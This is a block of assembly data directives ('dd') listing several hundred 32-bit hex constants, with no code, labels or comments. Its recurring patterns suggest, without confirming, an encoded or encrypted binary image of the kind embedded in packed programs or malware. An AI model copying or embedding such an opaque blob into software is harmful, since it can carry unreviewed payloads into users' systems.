		dd 77003256h, 0AA7C3EFh, 0D90F64A0h, 0B5C7D7BFh, 9CB13237h
		dd 0BAB1325Ah, 90CFBFC0h, 0AF128E39h, 0A39B98ADh, 20D13256h
		dd 2B0E3D91h, 0E5B13237h, 75B133D7h, 0BAB1CA56h, 5DB121BFh
		dd 0B72EE056h, 46F3CA36h, 0AF475134h, 9D0D54B5h, 0F4F9124Ch
		dd 15B132A3h, 0BAB121BFh, 0EA5B6B56h, 85A48190h, 0A0080C5Fh
		dd 63151D62h, 0F215EE53h, 0EAB2B259h, 99313256h, 37BE53A0h
		dd 5DB1325Ch, 0A1E86336h, 57B132DDh, 0ABB15356h, 3D4852AEh
		dd 0EAB13256h, 0ED5BB30Ch, 46B726C5h, 5DBBBB59h, 0AB583256h
		dd 27B13256h, 28CC5129h, 771FB7DBh, 0E6583445h,	0E0B13256h
		dd 8A4DCF1Eh, 6465C106h, 27975B5Ah, 43CD61D4h, 0A7343D50h
		dd 0DAB13256h, 0EAB134D9h, 753C3D56h, 37B13256h, 488A5CD4h
		dd 0AEBCDB50h, 0FA03256h, 79C60C49h, 2CC2ABF8h,	63793ABDh
		dd 61CD6DD4h, 0BAB9DB50h, 0F84C3256h, 23406CEBh, 0E85918C9h
		dd 0A4B13263h, 0D5B133D7h, 6A59CB56h, 80B13254h, 0C101B091h
		dd 5DB13442h, 23BE3256h, 57B1325Eh, 7A063D36h, 0B448B930h
		dd 6F77C704h, 73BF1D47h, 0E8D9CE00h, 3D2D9AEEh,	0A15DE4D6h
		dd 0A8D0CAE1h, 0A5BD0FE3h, 14315250h, 933B8C5Ch, 0F8D022B3h
		dd 0ABDE46D3h, 55343D50h, 0A1B13256h, 57B130D2h, 54D05256h
		dd 0DA585286h, 33B13256h, 5E47129Eh, 43E78226h,	0F2BD8566h
		dd 65306C6Bh, 26B41C52h, 0CA4D5237h, 0C370B7DFh, 0E5D13458h
		dd 75B136D7h, 90085456h, 59DB5321h, 0AEB4B459h,	0DDD13256h
		dd 0C3D0CAB3h, 0D5B12256h, 0EAB13BBFh, 9CB8CE56h, 5ABF9F7Dh
		dd 1DD91720h, 52B1315Bh, 0B10E5436h, 0C0F54D8h,	0D5DB5396h
		dd 0EAB13FBFh, 45C7F756h, 76BA8C5Ch, 0BFBF0D42h, 7E4E7F4Fh
		dd 57B6BA59h, 29BE3256h, 0D5B13257h, 3D168AFh, 75B1325Dh
		dd 0E3248CDAh, 0B26266A1h, 0C8323905h, 36E746E9h, 2FBEF25Dh
		dd 0D5B13335h, 0EAB139BFh, 5955E856h, 4386D88Fh, 25585671h
		dd 0D501B0DFh, 59583442h, 9DB13256h, 5D789152h,	958EF94Fh
		dd 0CEAA2B2Eh, 5C33BBD9h, 0B4B7262Dh, 0AEB13244h, 15BFEDF4h
		dd 0C7245181h, 5949D876h, 6B2063FEh, 350882BDh,	0B5B1315Bh
		dd 5DB128D9h, 0A3585256h, 9CB13256h, 0AC75A52Ah, 9E3253A2h
		dd 0D02D9EEEh, 7D75EDD7h, 31D032F7h, 5DB7DBAEh,	56C53256h
		dd 2B3E8BB0h, 26BEF265h, 0D5B1325Fh, 65BECA36h,	75B13256h
		dd 0BABDDB37h, 4BD43256h, 0CD6D98ABh, 0AFEEA89Eh, 14282FDh
		dd 0D5B13FBFh, 41B31956h, 87BBBE04h, 1D45EF41h,	3DE3FA30h
		dd 3E128B30h, 8FC3D8D7h, 0C1D06393h, 0D0585252h, 0BFB13256h
		dd 6731F515h, 0BAA2B159h, 50593256h, 1EB13256h,	0BF13068h
		dd 0B05295B1h, 0EC6A93E3h, 0EAD9530Eh, 7AB13246h, 0BAB139D0h
		dd 5DB7DB56h, 0F01F3256h, 0CB9CD9AAh, 0ABA3DB36h, 9DB83256h
		dd 0D69C2F7h, 87F21845h, 0C1373520h, 50B7BDB5h,	0CF408D59h
		dd 57B5323Eh, 0ABBEDB56h, 18603256h, 3D2BE24Eh,	2C0FDA3Dh
		dd 0B3D9071Ch, 0A1B158BBh, 0B870A0A9h, 0DEBE3458h, 0ABB13257h
		dd 6AD168AAh, 95937501h, 147BB930h, 0C40CB0DFh,	4D583442h
		dd 1BB13256h, 0D164E8A7h, 4EFDCE8Fh, 0A633E728h, 8B0C36EEh
		dd 75B13CBFh, 0CEF31F56h, 0A7823975h, 2470965h,	0DCAB8DB4h
		dd 0BFCA82D3h, 5ED75250h, 1FD0CBAEh, 1549CA95h,	0BAA4B459h
		dd 0B4D13256h, 0AEB13258h, 0FF4A3D73h, 0E8444760h, 0B50A6C71h
		dd 2DD0D41Ch, 7BA707D4h, 0FAB13250h, 0DF76CB56h, 0A8BF039Fh
		dd 57B12256h, 0ABA6B959h, 0C7583256h, 0CDB13256h, 0EDCEAD1Eh
		dd 0C19C0A32h, 9EDED16h, 681A04F0h, 50393DB9h, 0CBB13256h
		dd 6315336h, 8AD053AAh,	0A7063DAEh, 0AB58F137h,	28B13256h
		dd 20A7A695h, 0D448A95Fh, 0FEF525B5h, 0F59965E9h, 0EAA3DB36h
		dd 0CA303256h, 66B168F5h, 46FC6F07h, 238E1B19h,	0D5AB005Bh
		dd 0D00188DDh, 54BE3442h, 0EAB13242h, 75B13DBFh, 84E28656h
		dd 0DC952595h, 1A080F56h, 8C72D01Eh, 0A4B10DD5h, 0D5B180D2h
		dd 9532CB56h, 0F1BE3046h, 0BAB13206h, 4DCEB1AEh, 2E353D52h
		dd 58B13256h, 0ABB133D5h, 1232C756h, 0EABFDB42h, 0AABE3256h
		dd 3AA68D43h, 1F1C2594h, 319340A2h, 0A84E8DBFh,	28BE52A9h
		dd 0D5B13255h, 5DCAC2D6h, 0F4BE53CCh, 0BAB13246h, 5DB139BFh
		dd 249D2D56h, 391D10F7h, 3BE3B5E2h, 0D4A17591h,	12B13256h
		dd 2EE15236h, 0BAB13BBFh, 9D001056h, 0D52C8591h, 58D02606h
		dd 0ABB130DBh, 0B4968156h, 154EABBFh, 0F7BE52A9h, 0BAB13254h
		dd 3BD1C5DDh, 0FC4975E8h, 90D0530Eh, 0ABB22211h, 3C4D3256h
		dd 154ECD2Ch, 75B138BFh, 0CCAF956h, 0DF5BF013h,	0CFEAEE54h
		dd 57B134BFh, 28A0D756h, 168C146Dh, 8A70B936h, 0FED76A07h
		dd 0EFD05385h, 5DB13EBFh, 21B80856h, 8A403C1Ah,	0D51961A8h
		dd 0B55DB9F4h, 0EAB3B759h, 14D13256h, 4D063D05h, 52D1530Ch
		dd 0AEB133D8h, 5759CA56h, 0F1B13256h, 4DFED8D7h, 66BE3442h
		dd 75B1325Ah, 0BAB7B959h, 0D1BE3256h, 0AEB13256h, 57B6B159h
		dd 28BE3256h, 0D5B13257h, 2303B9AAh, 7AB72628h,	0BAB13EDEh
		dd 5DB6DB56h, 45723256h, 0F64FE2Ch, 0A3F4B975h,	0D5B9BC59h
		dd 61BE3256h, 75B13254h, 0BC385336h, 9433B1A3h,	0AAB72628h
		dd 57BBB459h, 0AE583256h, 0B3B13256h, 605A41F5h, 75A2DB37h
		dd 4E393256h, 505086F6h, 0BBD93308h, 0D7554C44h, 42A61C1Fh
		dd 0DAD1FB0Fh, 0EAB131D3h, 0B7063D56h, 0BAB3B759h, 56063256h
		dd 0AEB5F037h, 584BB936h, 0ABB137DDh, 15305456h, 8AD07FB5h
		dd 75B1DAAFh, 3BEB3256h, 4929CCBCh, 2548CE50h, 43CF8FE4h
		dd 0A4D1C750h, 0D5B132DDh, 8B7FB956h, 0B78806Dh, 3EBE3442h
		dd 5DB13374h, 5B8FB9A3h, 3173B936h, 0C999C1D7h,	2D6EB937h
		dd 0EBFE8459h, 74F6C4AEh, 0F9343DD6h, 0B4B13256h, 0AEB1325Dh
		dd 566157A7h, 280DFDBCh, 0D6D2B962h, 0EAB9DB8Fh, 0EF5A3256h
		dd 0E4426046h, 74581C79h, 0CEB13256h, 0F69B900h, 0ABB123BEh
		dd 0C6C27956h, 9301CB80h, 0B4A3C49Fh, 0EFE670D8h, 5E245B6h
		dd 779A5309h, 0A6063D36h, 0CA05D9D6h, 2DF2C715h, 3C3A5436h
		dd 0A10F5436h, 0DBD052D1h, 8034B937h, 47B73C78h, 57B1325Fh
		dd 545B6345h, 0B378BB9Ch, 773CB91Ch, 15B73C4Dh,	0E0E660AEh
		dd 6648530Ch, 0EE333D8Eh, 58B13256h, 0ABB135DCh, 0D43A3D56h
		dd 1FB13256h, 7A6809A3h, 0BAB118D1h, 47313D56h,	0CEB13256h
		dd 46585336h, 29B13256h, 0B30F0D52h, 1A938F37h,	2F3C0805h
		dd 0A7197A1Ch, 5977B137h, 51BFDBAEh, 6C44CDA9h,	98353D99h
		dd 0DAB13256h, 0EAB127D0h, 75A1DB56h, 64253256h, 4015500Eh
		dd 0F39D31Fh, 475783E6h, 163811D8h, 0D3BF29CBh,	55BE52AEh
		dd 753E3D96h, 0DBB13256h, 0A24FF0BFh, 0A1D0CEA9h, 57B133D3h
		dd 0A472CE56h, 0D5B13ED7h, 0EC3E3D56h, 7AB13256h, 0BAB132D0h
		dd 0B5445256h, 0AEB13256h, 3F5BB30Ch, 0CBB726CCh, 6F3AC737h
		dd 0ECA54CEBh, 75B134BFh, 1D85BD56h, 524C5370h,	0AEB12CDBh
		dd 4F303D56h, 42B13256h, 0D5B13245h, 0BB400889h, 0E005764Eh
		dd 0F494CC01h, 13CE9791h
		dd 1765046Fh, 57B13356h, 527101AEh, 0DA4899A5h,	0EAB135D8h
		dd 0B9315256h, 0DBD68633h, 230CB0DDh, 0AB583442h, 0AAB13256h
		dd 6D37CAC2h, 0AB78B0DFh, 0E5D13442h, 0F3BEFDE9h, 0BAB13252h
		dd 0A58C30h, 0CE495337h, 0DBBE4AE5h, 0ABB13257h, 2C7253A3h
		dd 6BBECE36h, 75B13257h, 0BAB1DAAEh, 0DCEB3256h, 0BA2A30BCh
		dd 57BFDB50h, 0F81A3256h, 95009011h, 87AC12A3h,	6A1DBBF1h
		dd 0BABABA59h, 5B583256h, 93B13256h, 0E09B0D46h, 443052D0h
		dd 9003E0A7h, 0FB34F437h, 23B73C79h, 8508C736h,	3C841BB0h
		dd 0B1DC0B3Eh, 0A3315282h, 9C5AB322h, 0B4CE1E3Ah, 0E68C87A9h
		dd 9C4D3458h, 0BAB13247h, 0D27D46A3h, 28C413BFh, 1B83652Fh
		dd 0A6C89E15h, 0A134BFB0h, 16B72339h, 8C4DE2A9h, 0B23C3D04h
		dd 52B13256h, 0AEB130DEh, 7D05256h, 0ABA4BB59h,	0C5583256h
		dd 0B7B13256h, 87F996F9h, 0FBB538Bh, 6D8E442Ch,	0C679158Bh
		dd 57B1B256h, 0ABB13BBFh, 10651D56h, 31773D6Ch,	75DB52D2h
		dd 0A03CDAFh, 3DB7262Dh, 4466B330h, 0D5EB3A1h, 0CAB0E8BCh
		dd 6CD7CA36h, 15D08940h, 89E9CB86h, 31D7520Ch, 0EABE52ACh
		dd 0CFD0CE8Dh, 57B13ABFh, 53B56756h, 0CA6CEAC0h, 6AB15A3Bh
		dd 9CD13256h, 0BAB13258h, 0F07B59BFh, 0D2FE7AA1h, 3261FB6Dh
		dd 24BEAB1Fh, 0D5B13253h, 58567FECh, 75DB5322h,	0BAA0B859h
		dd 51583256h, 0CAB13256h, 2935ABCFh, 0E0979330h, 2AD5706Bh
		dd 0FECF8FE4h, 0A54EC750h, 0B35853A3h, 55B13256h, 0A03C145Dh
		dd 0A0FB61D6h, 5C315295h, 5ED761E5h, 0BFD06B98h, 75B0B159h
		dd 31493256h, 5DA5DBBAh, 0AC5C3256h, 4852F99Bh,	15C2BA85h
		dd 0F52B29E4h, 0BF00639Eh, 154968CCh, 0BAB0BB59h, 0B5483256h
		dd 0AEB13256h, 0DF5BB30Ch, 57B726CAh, 0DDC4B9AAh, 0EAB0B259h
		dd 9D4D3256h, 0BAB1225Eh, 3B68B936h, 0CF89C3E8h, 31D1C703h
		dd 0A258E3DDh, 0EBB13256h, 4D412438h, 28C04204h, 0E923CD37h
		dd 0B4B7262Ah, 0AEB13247h, 953415C6h, 0A90519FCh, 3EFB3D58h
		dd 73BB0F15h, 4E496FC1h, 3FBE3E23h, 0A24ECDE1h,	27BE52AAh
		dd 57B1324Fh, 0ABB121BEh, 0B3FFB056h, 1EC897A7h, 92B1B975h
		dd 24CF5E1Dh, 48F565BDh, 5830540Dh, 0BFD0F25Dh,	0ABB13DCEh
		dd 0D5A2B959h, 0E4583256h, 40B13256h, 0E230023h, 91F7C53Dh
		dd 7FDB297h, 0A24953C9h, 7E31529Fh, 5ED752B4h, 0EA3D3D89h
		dd 14B13256h, 0BAB9F037h, 5DB7DA36h, 0F8293256h, 0A5468507h
		dd 0A4EBF4DDh, 0D5B130D7h, 8BD05256h, 75B139BFh, 555A0456h
		dd 33111EDh, 0E9B8D088h, 503D3D03h, 0A4B13256h,	0D5B133D1h
		dd 63ACA56h, 75B135BFh,	0FB3FEC56h, 0D87A1DF7h,	0CE4DF6D5h
		dd 57B138BFh, 0B1425C56h, 0DDDFAA8Fh, 8CF6A523h, 23D0C0DDh
		dd 0BAB7DB36h, 33023256h, 0E4E04127h, 680E76E8h, 5EE65366h
		dd 6CD75205h, 3D07D88h,	75B1325Eh, 290B891Eh, 832A6A8Bh
		dd 0AEB132BEh, 0BD306856h, 0ADA5AF9Fh, 0CD3A3D36h, 2B13256h
		dd 75B13244h, 63C81227h, 0EE4A6A6Bh, 9C32206Eh,	0FD086936h
		dd 0CDEE2C66h, 0DAD0CBDDh, 0EAB133D3h, 0FE4DCA56h, 31493A23h
		dd 0A48222Bh, 0AEB139BFh, 0B015AE56h, 838213A9h, 548D1C5Ah
		dd 0EAA3DB00h, 0B0363256h, 9D9AE99Dh, 5057BE0h,	0ADA057BEh
		dd 0FDA9B51Ch, 0ABB0D0BEh, 0DF585256h, 11B13256h, 376B9E98h
		dd 0D65B7E7Dh, 3C41B959h, 2ABEF25Dh, 57B132A6h,	0ABA6B159h
		dd 0C7583256h, 2AB13256h, 0D9AA3E35h, 540EE4C7h, 2DB6E2EDh
		dd 0D5845D4Ah, 0AB49B9DEh, 544467A3h, 0C1CD61C4h, 3ECC750h
		dd 75B13247h, 9B4D2E79h, 51BFF3C4h, 82846402h, 113E118Eh
		dd 0A7C409C2h, 0D517B659h, 8CD13256h, 0A28AE5D7h, 0BAA8BE59h
		dd 4E593256h, 3AB13256h, 0A8D06AA5h, 0EE3B0AADh, 6754138h
		dd 3330909h, 14E8A988h,	53AFB930h, 5DB1325Dh, 0FDB7FFC9h
		dd 0C4B21A26h, 0A4AA0022h, 0D5B123DEh, 0EABDDB56h, 0BA363256h
		dd 7ADFB2C5h, 0B04F7D0Ch, 4931CA6Dh, 0D9BE52A6h, 0ABB13256h
		dd 0B5AFB837h, 0EC58FCDDh, 0BB13256h, 0C1701BFFh, 0BE3153F2h
		dd 0AEB8DBA6h, 0B7BE3256h, 94368537h, 3D2A0C0Dh, 0EAB11514h
		dd 9E305436h, 3BE62CF3h, 1DCE548Ch, 47D06969h, 0A84ECC81h
		dd 0F54D6436h, 0D5B134BFh, 2CC22256h, 14A40231h, 534D4FDFh
		dd 5DB13247h, 7B8C76E9h, 5534399h, 2CF04E2Bh, 3D1E230Fh
		dd 0E3595204h, 48B13256h, 0EB359823h, 4A327F63h, 0A1E36DA3h
		dd 57B132D8h, 43D06D56h, 2A4EC5F6h, 0EAA4B959h,	0F0BE3256h
		dd 0BAB13259h, 5DB138BFh, 188AC156h, 3BA4C853h,	5E020EF6h
		dd 83E6520Dh, 5CE36D09h, 2AD06A32h, 0AE3E3D36h,	0B5B13256h
		dd 0AEB13258h, 0FB8F00FFh, 0F94FEBCh, 57467598h, 54EE281Bh
		dd 6797860Dh, 0BAA5DB37h, 3D0C3256h, 0BD72682Ah, 234860B0h
		dd 0C8EF6DC6h, 0DDBD3084h, 12EF0005h, 804D77DDh, 35BE529Fh
		dd 5DB13256h, 467AB936h, 57B13246h, 1153BBA3h, 0BC19E602h
		dd 5EA06EDCh, 8C00FF36h, 78D0530Fh, 0D1BE325Ah,	0AEB1325Dh
		dd 57B134BFh, 804BC956h, 808AADB2h, 0EABBB559h,	13D13256h
		dd 0DC1E29EDh, 3CB255ECh, 20BEDEDDh, 57B13257h,	5375B1AAh
		dd 0D5B121BFh, 37BED56h, 0D79B0200h, 0F58B37A0h, 2EF45388h
		dd 378109B3h, 57BBDB01h, 9D03256h, 59DFA6EDh, 0D0453890h
		dd 0CDD75200h, 3BD73E7Fh, 3C9C3BB8h, 0AEB6DB07h, 35B63256h
		dd 1DBB8A1Fh, 124461E0h, 0EAB1CA13h, 0B2483256h, 0AECCFFD4h
		dd 5DB13350h, 0DB3ACA56h, 0DCE2525Eh, 14D76B89h, 0B3D036A6h
		dd 0FA582CDDh, 6BB13256h, 61DA1A3Eh, 0E8DD8ADDh, 0B956FE1Ah
		dd 0DC05F32Eh, 0BFCA82ECh, 16305250h, 0E0C13B4Bh, 0C2BE5237h
		dd 483A54A7h, 55EEB937h, 0AEB0B659h, 5C4D3256h,	2D353D8Dh
		dd 0B5B13256h, 0AF43B3AFh, 14832DC8h, 3FBEEC6Dh, 5DB1321Ch
		dd 0AEA0BC59h, 5B583256h, 95B13256h, 2B021329h,	0BD38823Fh
		dd 0FE4D6694h, 31BE3E0Bh, 5DB13251h, 4C305436h,	0DED0F481h
		dd 0CDD13E09h, 89DAE8D7h, 0EAA0DA04h, 0ABA43256h, 1E4F46B9h
		dd 9E03C47Fh, 6382063Dh, 0E686E84h, 6C32530Dh, 62BE5242h
		dd 0EF58639Fh, 16B13256h, 1DD631CAh, 2758530Dh,	474ECDA9h
		dd 57B1325Bh, 11855612h, 8F5854E0h, 27B21078h, 6B3A5474h
		dd 0BAB0BD59h, 0DD483256h, 2ABEDAADh, 57B13674h, 0ABBDB159h
		dd 5DBE3256h, 0EAB13250h, 75B1BD59h, 41313256h,	5A353DBFh
		dd 56B13252h, 585AC9D6h, 0ABB2CFD2h, 0DB3A3D56h, 3B13256h
		dd 75B1325Fh, 0FA70BEE9h, 0FCFAD8B3h, 5531C747h, 9B353DB4h
		dd 53B13255h, 6ABE6236h, 1D3A6CA0h, 964AB237h, 0B9D4B659h
		dd 0DBBE3256h, 0AEB1325Dh, 91063D36h, 0ABB1BF59h, 0B3D03256h
		dd 9D6C9D7h, 762CB659h,	38BE3256h, 5DB13243h, 0AEBEB059h
		dd 5D583256h, 0EEB13256h, 0FDDC7639h, 0DFF291A0h, 8556B2A1h
		dd 0B358CA36h, 0E5B13256h, 45126C49h, 0A4E322CCh, 2AD7C737h
		dd 0DA313DADh, 0EAB247D2h, 70585256h, 6FB13256h, 92944B02h
		dd 29FEC1D7h, 0D7D05B32h, 2B4DC2B5h, 51BE42ADh,	0EAB13100h
		dd 0BE9D8A36h, 513010FCh, 616E10CFh, 0AEB9DB37h, 80F13256h
		dd 6A70DDC7h, 5ED746F5h, 0E3095248h, 9CA41B64h,	0BAB13253h
		dd 63205619h, 4D315327h, 44393DAEh, 0CBB13256h,	0DC59FDDDh
		dd 7CB13256h, 0CA6FD7BAh, 328CBB70h, 0A6315309h, 2353DEEh
		dd 58B13257h, 0ABB13AD5h, 0D7393D56h, 8AB13256h, 708FB237h
		dd 0BB24B659h, 3DD13256h
		dd 0AEB122BFh, 996CB356h, 3A49D748h, 0F3638DBCh, 2952BDB0h
		dd 0BE3A547Ch, 0BAB4DB37h, 0A4FD3256h, 0CF88FEC8h, 589C0CD6h
		dd 0ABB054D2h, 0D2323D56h, 0E5B13256h, 75B133D5h, 8431C756h
		dd 0D353D3Eh, 0A1B13257h, 57B12CD9h, 0B33E3D56h, 3CB13256h
		dd 0EAB13245h, 4CEF47DFh, 1E216170h, 0C16241DDh, 0C278EDC5h
		dd 374DC6A2h, 0ABB2BD59h, 6ABE3256h, 684E5380h,	73A54F9Bh
		dd 0B66B936h, 0D6D75382h, 0A03D3D48h, 0BEB13256h, 0ABB1325Fh
		dd 0F13BF320h, 317C201Ch, 8D56B2D3h, 0BAA8B959h, 49583256h
		dd 95B13256h, 0C6D62FF4h, 0A8B65B09h, 0FF021FF6h, 19938C35h
		dd 13B02B78h, 5230C9D7h, 5D60B659h, 0A1D13256h,	31D0E5E1h
		dd 2B492CDDh, 0DF58C2B1h, 0BB13256h, 23E3F72Ah,	0CC2B8B3Dh
		dd 0A6305449h, 2ABEF2D7h, 57B132FDh, 0AB94B359h, 3CD13256h
		dd 0EAB13251h, 7E4772CAh, 53BCD452h, 5DB13244h,	7FE37CA0h
		dd 202DE573h, 0FBF41E26h, 0EAB95AA8h, 8AD0EDC4h, 0AA3A5436h
		dd 0EFD09CE5h, 0E23CDAAh, 0CEB7262Ah, 81128B30h, 0ABB137BFh
		dd 4A03C856h, 0B7D0876Fh, 89F4BBAEh, 0BABBBB59h, 3DD13256h
		dd 0F5AB337h, 36FAE78Ch, 0BC3A3D37h, 3CB13256h,	0EAB13244h
		dd 0FF3E2572h, 8DC750D4h, 0D44FE163h, 37AEDBB3h, 0D4BE8284h
		dd 0ABB1325Ah, 0D5B7BE59h, 63BE3256h, 75B13256h, 0BB4D4FD5h
		dd 5FEBB759h, 29BE3256h, 57B1325Dh, 530E3D36h, 481DE2D7h
		dd 61D01345h, 7BA707ECh, 0BAB8DB50h, 9D643256h,	651D672Dh
		dd 58ACBD16h, 0ABB139D5h, 6ABE5256h, 0EA303D91h, 14B13256h
		dd 383ACB06h, 5BA54F9Bh, 0AEB8DA36h, 376E3256h,	0A1C2A618h
		dd 0DAD32F29h, 0EAB132D9h, 80E26D56h, 8688530Eh, 52333D66h
		dd 47B13256h, 57B1325Ch, 0FEDA50DFh, 0CBC580Ah,	0E5E9A9BFh
		dd 75B0D1D4h, 0BABEDB56h, 0F94B3256h, 1C85EEA3h, 0C5B5C55Fh
		dd 90431470h, 1C0BB9C1h, 3B73C67h, 75B1325Eh, 0EE3FC9B3h
		dd 8BEFBA0Eh, 0AEA2DB06h, 0ADE83256h, 64C623A7h, 224FABD5h
		dd 0A6414735h, 50C237EFh, 7733B937h, 0B4B7262Bh, 0AEB13253h
		dd 0C197F03Fh, 9788CE18h, 0DAE9C766h, 0EAB0B5D9h, 9E305256h
		dd 9D76DA44h, 5DB138BEh, 181A3456h, 0BF486CE3h,	43655C5Ah
		dd 0D5B1325Ch, 0BD1B54FFh, 0AC8F9B3Bh, 0E1EB3E52h, 5DD9DB37h
		dd 694D3256h, 57B3CA13h, 2CBE3256h, 0D5B1324Dh,	0E70E5436h
		dd 75A1DB03h, 142F3256h, 0D3DBAD9Bh, 0CDA3EA43h, 56280E30h
		dd 57D01547h, 0D5B10BBFh, 0EAB8DB56h, 85973256h, 0ABCF941h
		dd 0B42B47FBh, 0AEB13245h, 0D15DBBB1h, 0BB092D14h, 0A970C2F6h
		dd 1FE72673h, 0B2B42EB0h, 0BAB0CA13h, 52D13256h, 0AEB133D8h
		dd 0DCD7CE56h, 113A53A6h, 0D3A549E6h, 0EAA1DA36h, 1FC53256h
		dd 0FC8BF0A3h, 8C8348BFh, 118D7ED3h, 0DFBEEBA2h, 0ABB13256h
		dd 0D5A3DA0Ch, 0A2963256h, 11294DC9h, 0FACA1F6Eh, 0FBE56E89h
		dd 41779960h, 57B1BA59h, 0CAEA3256h, 0B5AEB9AFh, 0EAB13ABFh
		dd 0F0BCEC56h, 76DB27E6h, 756B2F3h, 0A16A3937h,	57B1A1D2h
		dd 758AC756h, 0D5F4B759h, 13443256h, 7ABD6FDDh,	0BAB133D8h
		dd 2032CE56h, 2ABE32AEh, 57B1324Ch, 53EC31AEh, 0D5B123BFh
		dd 5BA09156h, 0CCF94343h, 275ABE5Fh, 9F76D7D1h,	0F138E6B2h
		dd 5B343D52h, 0A4B13256h, 0D5B134D7h, 0EA3C3D56h, 0F6B13256h
		dd 3CBE2691h, 5DB13257h, 5136DBAEh, 37D1CDA9h, 20D7D9E6h
		dd 0F3A53A8h, 13710137h, 75B135BFh, 81596C56h, 0EC03DE03h
		dd 0AEB435BFh, 57A3DB56h, 30D23256h, 0F63BD42Dh, 0DF08AE17h
		dd 90138173h, 805F4E22h, 52AFB930h, 0AEB121DAh,	57BFDB56h
		dd 9CAB3256h, 0AB66457Fh, 7EAF9D81h, 5774BED5h,	0DABD4FDDh
		dd 0EC7A42E8h, 7430630Fh, 2FE356A0h, 5031530Fh,	82353DBDh
		dd 3B13256h, 75B13245h,	3E79AF64h, 0A082D6A9h, 0A0A72633h
		dd 778B7E8Dh, 2B4B97FEh, 3C48C2B5h, 0EAB1325Bh,	7F91FE21h
		dd 6EADB558h, 826C2A66h, 0DE4AB245h, 57CFB659h,	424D3256h
		dd 0D5B13301h, 0E5323D36h, 9CB13256h, 0BAB1325Ch, 0BC0EFDD5h
		dd 36D1CBF0h, 0DCD76409h, 0AC775398h, 0DC343DBFh, 8AB13256h
		dd 0D579B3AFh, 0DB81011Bh, 5DB07591h, 47B13256h, 57B1325Ch
		dd 4161166h, 1B98FEF8h,	2D3A5624h, 75B7BF59h, 0EAD13256h
		dd 3C67B90Fh, 56B4F2D5h, 57B511BFh, 24BEC756h, 0D5B1324Eh
		dd 3498B36h, 795814F3h,	67B13256h, 95D795A2h, 4AFFF71h
		dd 3623B8A9h, 0A4B6F530h, 0CD373D5Eh, 3B13256h,	75B13245h
		dd 15538E76h, 64B89EE5h, 0FDA3DA39h, 4AE1088Ah,	2190130Bh
		dd 3CD15248h, 0EAB1325Bh, 8CB3131Ah, 0CE3AF512h, 56F24BDCh
		dd 0CFD05245h, 0B5CB8D30h, 0A452B237h, 0D5A9BA59h, 0F9583256h
		dd 0B9B13256h, 0B094401Fh, 0D6FA16C7h, 6DEA609Eh, 50158EB4h
		dd 60313A42h, 23052D6h,	0E0800626h, 75B7B659h, 32BE3256h
		dd 5DB13256h, 0F139C737h, 51313D57h, 0CBB13256h, 163BFDDDh
		dd 5DBE5237h, 0AE30549Ch, 7DD07F12h, 5DB13011h,	0AB583256h
		dd 24B13256h, 0BF9BF800h, 5ABEF5DDh, 0EAB13257h, 7371B1AAh
		dd 0BAB13DBFh, 0F32AFA56h, 0A4D9D256h, 26D15A90h, 1BE95EFBh
		dd 0D5B13DBFh, 934B2356h, 0B63C5F05h, 938FCBFAh, 0C422C48Eh
		dd 0AEB215BFh, 314DCB56h, 3B210CD7h, 0D5EFB659h, 0BBD13256h
		dd 1470B908h, 0B5210CD6h, 5DB147D3h, 0AEB7DB56h, 0CDE63256h
		dd 0B79A0032h, 2ACFB330h, 6EBEA2C6h, 75B1326Eh,	0BAB135BFh
		dd 0C7169A56h, 0FA082F42h, 57B6DB36h, 56213256h, 0EA9C4622h
		dd 0EABDDA37h, 40C63256h, 0DCC28245h, 0DFDA539Ah, 0CFEAC06Fh
		dd 57B11FBFh, 0AA313D56h, 2DB13256h, 6CBEF5DDh,	75B1325Bh
		dd 8C7A8C36h, 0D8BE46D8h, 0AEB13256h, 5513DB37h, 14D13256h
		dd 0D615A6B0h, 0F977B330h, 0F73C53EBh, 0BCA54C8Dh, 5DB13FBFh
		dd 0DA35ED56h, 31E765EBh, 873F115Fh, 2DE1C11Dh,	68BE5200h
		dd 75B13255h, 0B5478559h, 5DB130DAh, 0CF038756h, 2BEEA0A9h
		dd 20D13442h, 0B444B8A1h, 6EBEF25Dh, 75B13265h,	5379B9AFh
		dd 5DB13242h, 991C385Fh, 3F21B5C4h, 3A8BCDCCh, 7386E362h
		dd 6CD0B3B1h, 0B6A80DBh, 53493442h, 5DB132F8h, 14D68A36h
		dd 37E1235Bh, 0FDD06837h, 0BB42B236h, 0EABFDB36h, 9ABE3256h
		dd 9E5A0789h, 4F714443h, 0F1A7C56Dh, 0DCD053AEh, 0CBE4C798h
		dd 0D5A1DAA3h, 57AA3256h, 2CCE54F2h, 56A0F6CFh,	0A3C0A1F8h
		dd 0F644A7C9h, 0ECD75237h, 78307C3Ah, 0F719529Eh, 0B923CD37h
		dd 89B7262Ah, 0BAB0BE59h, 4D3256h, 0AEA0DB36h, 5DF93256h
		dd 19742EF0h, 6DC171A6h, 0AFA93A4Dh, 0CA551DA2h, 0CCB2878Fh
		dd 527F1937h, 0AEB123DAh, 57BDDB56h, 0ED8C3256h, 0B109CBCh
		dd 0C0BFC595h, 0AC468B26h, 0BAB6BE59h, 0D8BE3256h, 0AEB13257h
		dd 31D16CAEh, 28D3DDD7h, 0A83253AAh, 6FBE33AEh,	75B13293h
		dd 0BAB13BBFh, 75402156h, 9EF1B45Ch, 1E011802h,	0A1363D36h
		dd 3CB13256h, 0EAB13253h, 0C5F8D805h, 617AB3FFh, 3CED0E89h
		dd 19BE52FCh, 59333DAFh, 43B13256h, 0D5B1325Eh,	75690A9Fh
		dd 1F44B0D9h, 2D7530Eh,	0DFBEB759h, 0AEB1325Bh,	57B13ABFh
		dd 4C1B6456h, 0AECBAAC3h, 8A1A5431h, 13E48036h,	3717C3D7h
		dd 5DA2DB37h, 0F5123256h, 0E23FF884h, 665447F0h, 0DBDB2D32h
		dd 0D0D45171h, 0C3BE53F9h, 3CBE3310h, 5DB13244h, 0AEB8DB36h
		dd 3FF43256h, 499EB0AFh, 0B562A1A6h, 8A1A5337h,	0AD0B54AFh
		dd 7585328h, 52B13256h
		dd 0AEB12ADBh, 57A2DB56h, 0B4823256h, 5399EF35h, 5A5D4120h
		dd 7E8FF944h, 5649F81Ah, 0A5CCB191h, 0D1343D54h, 0A2B13256h
		dd 62BA8A30h, 0DA1A54AFh, 0EAB13AD2h, 77333D56h, 0DAB13256h
		dd 52095437h, 0A1D1CBD2h, 57B136D8h, 0E40F5456h, 0D5323DF6h
		dd 8BB13256h, 73589930h, 82B13256h, 617F3906h, 0E8073DF7h
